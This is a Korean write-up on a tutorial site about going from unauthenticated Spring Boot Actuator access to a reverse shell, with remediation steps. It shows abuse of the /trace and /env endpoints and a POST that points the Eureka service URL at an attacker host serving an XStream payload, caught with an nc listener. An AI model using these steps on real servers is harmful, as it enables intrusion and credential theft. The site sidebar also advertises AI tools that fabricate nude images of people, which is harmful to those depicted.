목차
전제 조건: Eureka-Client <1.8.7(주로 Spring Cloud Netflix에서 볼 수 있음) )
취약점 수정
운영 및 유지보수 안전 Spring Boot Actuator의 getshell에 대한 무단 액세스에 대한 분석 예

Spring Boot Actuator의 getshell에 대한 무단 액세스에 대한 분석 예

May 23, 2023 am 08:56 AM
spring boot actuator getshell

머리말

부장님께서 특정 src에서 이 취약점을 파내셨는데요. 오래된 구멍이라 흥미로워서 테스트해보려고 로컬 환경을 만들어 봤습니다.

Actuator는 응용 시스템의 자체 검사 및 모니터링을 위해 springboot에서 제공하는 기능 모듈입니다. Actuator의 도움으로 개발자는 응용 시스템의 특정 모니터링 지표에 대한 통계를 쉽게 보고 수집할 수 있습니다. Actuator를 활성화한 경우 관련 권한이 제어되지 않으면 불법 사용자가 기본 Actuator 엔드포인트에 접근하여 응용 시스템의 모니터링 정보를 획득할 수 있으며, 이로 인해 정보가 유출되거나 심지어 서버를 탈취할 수도 있습니다.

Actuator는 Spring Boot에서 제공하는 기능 모듈로, 응용 시스템의 내부 점검 및 모니터링에 사용할 수 있습니다. 제공되는 실행자 끝점은 기본 끝점과 사용자 정의 확장 끝점의 두 가지 범주로 나누어지며, 승인되지 않은 인터페이스를 찾고

Spring Boot Actuator从未授权访问到getshell的示例分析

추적을 사용하여 인증 정보(쿠키, 토큰, 세션)를 얻고 인증 정보를 사용하여 액세스합니다. 인터페이스.

  1. env에서는 데이터베이스 계정 비밀번호(mangodb)가 유출될 수 있습니다. 물론 외부 네트워크가 열려 있어야 하므로 가능성은 적습니다.

  2. 외국인들은 sql 문을 실행할 수 있다고 하는데 아직 이해가 안 된다

  3. 취약점 발견

  4. 보통 현재 웹 애플리케이션에서 사용하는 프레임워크는 springboot 프레임워크로 식별된다. 판단하는 방법은 크게 두 가지가 있습니다:

  5. 웹 애플리케이션 웹 페이지 라벨(favicon.ico)의 아이콘을 통해, 웹 애플리케이션 개발자가 springboot 웹 애플리케이션의 기본 아이콘을 수정하지 않은 경우, 응용 프로그램 홈페이지에 들어간 후 다음 기본 아이콘 작은 녹색 아이콘:


springboot 프레임워크를 통한 기본 오류 페이지, 웹 응용 프로그램 개발자가 springboot 웹 응용 프로그램의 기본 4xx, 5xx 오류 페이지를 수정하지 않은 경우 , 웹 애플리케이션에서 4xx, 5xx 오류가 발생하면 다음 오류가 보고됩니다(여기서는 404 오류 페이지만 예로 들었습니다). http://172.26.2.24와 같이 무작위로 구성된 경로에 액세스합니다. :8090/index, 다음과 같은 오류 페이지가 나타나 웹 웹 사이트가 springboot 프레임워크를 사용함을 나타냅니다(실제로는 대부분의 경우에 해당함).


  1. 현재 웹 애플리케이션이 springboot 프레임워크인지 확인하는 위의 두 가지 방법을 기반으로, 다른 디렉터리에 액세스하여 작은 녹색 잎 아이콘이 있는지 확인한 다음 트리거하는 방법을 찾는 것입니다. 다른 디렉터리에 있는 애플리케이션의 4xx 또는 5xx 오류, 화이트라벨 오류 페이지 오류가 있는지 확인하세요.

ExploitSpring Boot Actuator从未授权访问到getshell的示例分析

    /trace 엔드포인트에 방문하여 기본 HTTP 요청 추적 정보(타임스탬프, HTTP 헤더 등)를 얻으세요. 로그인한 사용자의 작업 요청이 있는 경우 쿠키를 위조하여 로그인할 수 있습니다.

  1. 모든 환경 속성을 얻으려면 /env 엔드 포인트에 액세스하십시오. Actuator는 사이트에서 mysql 및 mangodb와 같은 데이터베이스 서비스를 모니터링하므로 때로는 데이터베이스가 발생하면 mysql 및 mangodb 데이터베이스 정보를 얻을 수 있습니다. 공용 네트워크에 공개하면 피해가 엄청납니다.

Spring Boot Actuator从未授权访问到getshell的示例分析

/env 엔드포인트의 부적절한 구성으로 인해 RCE가 발생합니다.

전제 조건: Eureka-Client <1.8.7(주로 Spring Cloud Netflix에서 볼 수 있음) )

예를 들어, 테스트 프론트엔드 json 오류 보고서에서 패키지 이름이 유출됩니다. 그냥 netflix를 사용하세요

Spring Boot Actuator从未授权访问到getshell的示例分析

다음 두 패키지가 필요합니다

spring-boot-starter-actuator(/refresh 새로 고침 구성에 필요)

Spring Boot Actuator从未授权访问到getshell的示例分析spring -cloud-starter-netflix-eureka-client (기능 종속성)

Use python3 스크립트를 시작하려면 두 군데에 주의해야 합니다. 하나는 셸을 수신하는 IP와 포트이고 다른 하나는 셸을 위한 포트입니다.

Spring Boot Actuator从未授权访问到getshell的示例分析

Nc는 리바운드 쉘을 수신하기 위해 포트를 수신하고,

구성을 작성하고, /env 엔드포인트에 액세스하고, 패킷을 캡처하고, get 요청을 post 요청으로 변경합니다. 게시물 내용은 다음과 같습니다(ip는 스크립트에 의해 시작된 시스템의 IP입니다):

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator从未授权访问到getshell的示例分析

그런 다음 /refresh를 방문하여 패킷을 캡처하고 게시 요청을 게시 요청으로 변경하세요.

Spring Boot Actuator从未授权访问到getshell的示例分析

그런 다음 NC 창에서 쉘이 성공적으로 반송된 것을 볼 수 있습니다.

Spring Boot Actuator从未授权访问到getshell的示例分析

취약점 수정

보안견으로서 수리하지 않고는 그냥 파낼 수 없습니다. 프로젝트의 pom에 spring-boot-starter-security 종속성을 도입하고, 액세스 계정 비밀번호를 구성하세요. 응용 프로그램을 다시 시작하면 팝업이 나타납니다.


	org.springframework.bootspring-boot-starter-security

Spring Boot Actuator从未授权访问到getshell的示例分析

Spring Boot Actuator从未授权访问到getshell的示例分析인터페이스를 비활성화하려면 다음과 같이 설정하면 됩니다(예: env 인터페이스 비활성화 등).

endpoints.env.enabled= falseSpring Boot Actuator从未授权访问到getshell的示例分析

Question

외국인들은 실행이 가능하다고 합니다. 가능한 방법이 정확하지 않습니다. 스크린샷을 찍어서 성공적으로 구현한 사람이 공유할 수 있기를 바랍니다.


실제 환경에서는 새로고침을 하지 않으면 문제가 많아 명령을 실행하지 못하는 현상이 발견됩니다. 아직까지 획기적인 발전은 없습니다

위 내용은 Spring Boot Actuator의 getshell에 대한 무단 액세스에 대한 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

인기 기사

R.E.P.O. 에너지 결정과 그들이하는 일 (노란색 크리스탈)
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 최고의 그래픽 설정
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 아무도들을 수없는 경우 오디오를 수정하는 방법
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. 채팅 명령 및 사용 방법
1 몇 달 전 By 尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

Spring Boot+MyBatis+Atomikos+MySQL(소스 코드 포함) Spring Boot+MyBatis+Atomikos+MySQL(소스 코드 포함) Aug 15, 2023 pm 04:12 PM

실제 프로젝트에서는 분산 트랜잭션을 피하려고 노력합니다. 그러나 때로는 일부 서비스 분할을 수행해야 하므로 분산 트랜잭션 문제가 발생할 수 있습니다. 동시에 면접 시 시장에서도 분산 거래에 대한 질문을 하게 되는데, 이 사례를 가지고 연습도 할 수 있고, 면접에서는 123에 대해서도 이야기를 나눌 수 있습니다.

Spring Boot를 통해 다국어 지원 및 국제 애플리케이션 달성 Spring Boot를 통해 다국어 지원 및 국제 애플리케이션 달성 Jun 23, 2023 am 09:09 AM

세계화가 발전함에 따라 점점 더 많은 웹사이트와 애플리케이션이 다국어 지원과 국제화 기능을 제공해야 합니다. 개발자에게 이러한 기능을 구현하는 것은 언어 번역, 날짜, 시간, 통화 형식 등 여러 측면을 고려해야 하기 때문에 쉬운 작업이 아닙니다. 그러나 SpringBoot 프레임워크를 사용하면 다국어 지원과 국제 애플리케이션을 쉽게 구현할 수 있습니다. 먼저 SpringBoot에서 제공하는 LocaleResolver 인터페이스를 이해해보자. 위치

Spring Boot를 사용하여 블록체인 애플리케이션과 스마트 계약을 구축하는 방법 Spring Boot를 사용하여 블록체인 애플리케이션과 스마트 계약을 구축하는 방법 Jun 22, 2023 am 09:33 AM

비트코인 등 디지털 화폐의 등장으로 블록체인 기술이 점차 화제가 되고 있습니다. 스마트 계약은 블록체인 기술의 중요한 부분으로 간주될 수 있습니다. 널리 사용되는 Java 백엔드 개발 프레임워크인 SpringBoot는 블록체인 애플리케이션과 스마트 계약을 구축하는 데에도 사용할 수 있습니다. 이 기사에서는 SpringBoot를 사용하여 블록체인 기술을 기반으로 애플리케이션과 스마트 계약을 구축하는 방법을 소개합니다. 1. SpringBoot와 블록체인 먼저, 블록체인과 관련된 몇 가지 기본 개념을 이해해야 합니다. 블록체인

Spring Boot와 MyBatis Plus를 기반으로 ORM 매핑 구현 Spring Boot와 MyBatis Plus를 기반으로 ORM 매핑 구현 Jun 22, 2023 pm 09:27 PM

Java 웹 애플리케이션 개발 과정에서 ORM(Object-RelationalMapping) 매핑 기술을 사용하여 데이터베이스의 관계형 데이터를 Java 객체로 매핑함으로써 개발자가 데이터에 접근하고 조작하는 것을 편리하게 만듭니다. 가장 널리 사용되는 Java 웹 개발 프레임워크 중 하나인 SpringBoot는 MyBatis를 통합하는 방법을 제공했으며, MyBatisPlus는 MyBatis를 기반으로 확장된 ORM 프레임워크입니다.

Spring Boot를 사용하여 빅 데이터 처리 애플리케이션을 구축하는 방법 Spring Boot를 사용하여 빅 데이터 처리 애플리케이션을 구축하는 방법 Jun 23, 2023 am 09:07 AM

빅데이터 시대가 도래하면서 빅데이터의 가치를 이해하고 이를 비즈니스에 적용하는 기업이 점점 늘어나고 있습니다. 이에 따른 문제는 이러한 대규모 데이터 흐름을 처리하는 방법입니다. 이 경우 빅데이터 처리 애플리케이션은 모든 기업이 고려해야 할 사항이 되었습니다. 개발자에게는 SpringBoot를 사용하여 효율적인 빅데이터 처리 애플리케이션을 구축하는 방법도 매우 중요한 문제입니다. SpringBoot는 다음을 허용하는 매우 인기 있는 Java 프레임워크입니다.

Spring Boot와 NoSQL 데이터베이스 통합 및 사용 Spring Boot와 NoSQL 데이터베이스 통합 및 사용 Jun 22, 2023 pm 10:34 PM

인터넷의 발달로 인해 빅데이터 분석과 실시간 정보처리는 기업의 중요한 요구사항이 되었습니다. 이러한 요구 사항을 충족하기 위해 기존 관계형 데이터베이스는 더 이상 비즈니스 및 기술 개발 요구 사항을 충족하지 않습니다. 대신 NoSQL 데이터베이스를 사용하는 것이 중요한 옵션이 되었습니다. 이 기사에서는 NoSQL 데이터베이스와 통합된 SpringBoot를 사용하여 최신 애플리케이션을 개발하고 배포하는 방법에 대해 설명합니다. NoSQL 데이터베이스란 무엇입니까? NoSQL은 SQL이 아닙니다.

Spring Boot 기반의 분산 데이터 캐싱 및 저장 시스템 Spring Boot 기반의 분산 데이터 캐싱 및 저장 시스템 Jun 22, 2023 am 09:48 AM

인터넷의 지속적인 발전과 대중화에 따라 데이터를 어떻게 효율적이고 안정적으로 처리하고 저장하는지에 대한 요구도 높아지고 있습니다. SpringBoot를 기반으로 한 분산 데이터 캐싱 및 저장 시스템은 최근 몇 년간 많은 주목을 받고 있는 솔루션입니다. 분산 데이터 캐싱 및 저장 시스템이란 무엇입니까? 분산 데이터 캐싱 및 저장 시스템은 여러 노드(서버)를 통해 데이터를 분산 저장하는 것을 말하며, 이는 데이터의 보안과 신뢰성을 향상시키고 데이터 처리도 향상시킬 수 있습니다.

Spring Boot와 Apache ServiceMix를 사용하여 ESB 시스템 구축 Spring Boot와 Apache ServiceMix를 사용하여 ESB 시스템 구축 Jun 22, 2023 pm 12:30 PM

현대 기업이 다양한 서로 다른 애플리케이션과 시스템에 점점 더 많이 의존함에 따라 엔터프라이즈 통합이 더욱 중요해지고 있습니다. ESB(Enterprise Service Bus)는 다양한 시스템과 애플리케이션을 함께 연결하여 공통 데이터 교환 및 메시지 라우팅 서비스를 제공하여 엔터프라이즈 수준 애플리케이션 통합을 달성하는 통합 아키텍처 모델입니다. SpringBoot와 ApacheServiceMix를 이용하면 ESB 시스템을 쉽게 구축할 수 있다. 이 글에서는 이를 구현하는 방법을 소개한다. 스프링부트와 A

See all articles